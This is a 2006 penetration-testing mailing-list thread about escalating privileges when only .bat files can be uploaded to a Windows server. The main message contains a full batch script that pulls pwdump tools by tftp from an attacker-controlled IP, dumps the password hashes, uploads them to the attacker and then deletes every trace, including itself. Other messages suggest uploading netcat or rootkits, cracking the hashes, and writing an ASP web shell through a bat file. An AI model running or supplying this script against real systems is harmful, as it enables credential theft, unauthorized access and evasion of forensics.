Re: privelege escalation with .bat files

From: Maudite MLRL (maudite.mlrl@gmail.com)
Date: Thu Apr 27 2006 - 15:52:13 EDT


No problem.

I have no problem sharing simple stuff.

Just don't ask me to help you knock over a bank.

On 4/27/06, Rich <rlandrig@optonline.net> wrote:
> Not only will I not laugh,, I thank you for sharing this with all of us in
> this group. Simplicity in itself is excellence, and you have shown a very
> elegant method to us all that now, we can utilize with efficiency.
>
> Thanks again
> rich
>
> -----Original Message-----
> From: Maudite [mailto:maudite.mlrl@gmail.com]
> Sent: Wednesday, April 26, 2006 9:50 PM
> To: pen-test@securityfocus.com
> Subject: RE: privelege escalation with .bat files
>
> Keep it simple.
> If you can upload and execute a .bat, I use the following a lot with
> metasploit and other items I can get on a machine with. I steal the password
> file with pwdump.
>
>
> If you want to upload other items just edit the following for what you want
> to upload (nc, adduser, shell code, root kit...). Save yourself time and
> have the script start and stop everything.
>
> Run a tftp server on your attack machine. I use VM ware a lot so I will have
> a linux iso in vm and win running as the base. So I have been using
> tftpd32g. Upload and execute the following. (not a windows guy don't laugh
> at my simple bat)
>
> Winpassword.bat
> _BEGIN
>
> call tftp -i [YOUR attack machine IP HERE] pwdump2.exe
> call tftp -i [YOUR attack machine IP HERE] GET samdump.dll
> call pwdump2.exe >password.txt
> call tftp -i [YOUR attack machine IP HERE] PUT password.txt
> call del /F pwdump2.exe
> call del /F samdump.dll
> call del /F password.txt
> call del /F TFT*
> call del /F winpassword.bat
> call cls
>
> _END
>
> tftpd is on most boxes.
>
> This one uploads, steals the password file (dump then download), then
> deletes itself and ends. On and off in seconds. Then use John/l0pht/rainbows
> to pop the passwords. Login.
>
> - Maudite
> maudite.mutantlogic.net
> This must mean something to some one: CISSP/CEH/CISA/.....
>
> -----Original Message-----
> From: Michael Hendrickx [mailto:michael@scanit.net]
> Sent: Wednesday, April 26, 2006 12:58 AM
> To: pen-test@securityfocus.com
> Subject: Re: privelege escalation with .bat files
>
> > However, its also set up to deny copying (or renaming to) of the following
>
> > file extensions .asp, .com, .cmd, .exe, and .dll. Interestingly, it does
> > allow .bat files to be written onto the server.
>
> Can't you make a .ASP file through the bat file? (echo "<%" >
> file.asp). When the bat is executed, it's -I think- done locally, and
> the ASP file can be created.. Then you can make a knock-off of
> aspcmd.asp or something.
>
> Just a thought,
> Michael
>
> --
> Michael Hendrickx, CISSP, SCTA
> Sr Security Engineer
> Scanit FZ / LLC
> http://www.scanit.net
>
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> testing and vulnerability management needs. You have an option to go with a
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>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.1.385 / Virus Database: 268.4.6/324 - Release Date: 4/25/2006
>
>
>

--
Maudite @ The MLRL
http://www.mutantlogic.net/maudite
A list of my irrelevant certs:
CISSP, CISA, CEH
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This List Sponsored by: Cenzic
Concerned about Web Application Security? 
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's 
Choice Award from eWeek. As attacks through web applications continue to rise, 
you need to proactively protect your applications from hackers. Cenzic has the 
most comprehensive solutions to meet your application security penetration 
testing and vulnerability management needs. You have an option to go with a 
managed service (Cenzic ClickToSecure) or an enterprise software 
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can 
help you: http://www.cenzic.com/news_events/wpappsec.php 
And, now for a limited time we can do a FREE audit for you to confirm your 
results from other product. Contact us at request@cenzic.com for details.
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